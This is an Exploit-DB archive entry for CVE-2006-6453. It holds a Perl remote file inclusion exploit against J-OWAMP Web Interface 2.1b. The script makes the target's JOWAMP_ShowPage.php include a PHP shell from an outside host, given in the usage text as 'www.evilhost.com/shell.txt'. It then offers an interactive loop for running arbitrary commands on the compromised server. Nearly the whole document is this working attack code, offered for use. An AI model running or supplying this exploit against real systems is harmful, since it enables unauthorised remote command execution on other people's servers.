J-OWAMP Web Interface <= 2.1b link Remote File Include Exploit

2006-12-07T00:00:00
ID EDB-ID:2895
Type exploitdb
Reporter 3l3ctric-Cracker
Modified 2006-12-07T00:00:00

Description

J-OWAMP Web Interface <= 2.1b (link) Remote File Include Exploit. CVE-2006-6453. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
#  Jowamp  WebInterface v 2.1 Remote File Inclusion Vulnerablity
# Vulnerability found & Exploit [c]oded By Dr Max Virus
# Download:http://www.av.it.pt/jowamp/index_files/JOWAMP_WebInterface_version_2_1.zip
# User Must Be Logged In!
# In a web browser open the page http://localhost/jowamp/login/register.php to register new users. 


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
       usg()
}
header();


while()
{
print "[Shell] \$";
while (&lt;STDIN&gt;)
{
       $cmd=$_;
       chomp($cmd);

$xpl = LWP::UserAgent-&gt;new() or die;
$req =
HTTP::Request-&gt;new(GET=&gt;$target.'/JOWAMP_files/JOWAMP_ShowPage.php?link='.$shellsite='.?&'.$cmdv.'='.$cmd)or
die "\n\n Failed to Connect, Try again!\n";
$res = $xpl-&gt;request($req);
# The response of the server to the GET request we sent is stored in the
$info variable
$info = $res-&gt;content;
$info =~ tr/[\n]/[&#234;]/;


if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in &lt;b&gt;/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^&lt;br.\/&gt;.&lt;b&gt;Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)&lt;br.\/&gt;.&lt;b&gt;Warning.(.+)&lt;br.\/&gt;.&lt;b&gt;Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
}
}
}
last;


#Sub-Rountines
sub header()
{
print q{
********************************************************************************
Jowamp WebInterface v2.1  -- Remote Include Exploit

Vulnerablity found by: Dr Max Virus

Exploit [c]oded by: Dr Max Virus
********************************************************************************
}
}
sub usg()
{
header();
print q{
Usage: perl exploit.pl &lt;jowamp fullpath&gt; &lt;Shell Location&gt; &lt;Shell Cmd&gt;

&lt;phorum-3.4.8a FULL PATH&gt; - Path to site exp. www.site.com

&lt;Shell Location&gt; - Path to shell exp. www.evilhost.com/shell.txt

&lt;Shell Cmd Variable&gt; - Command variable for php shell

Example: perl exploit.pl http://www.site.com/jowamp/
**********************************************************************************
};

exit();
}

# milw0rm.com [2006-12-07]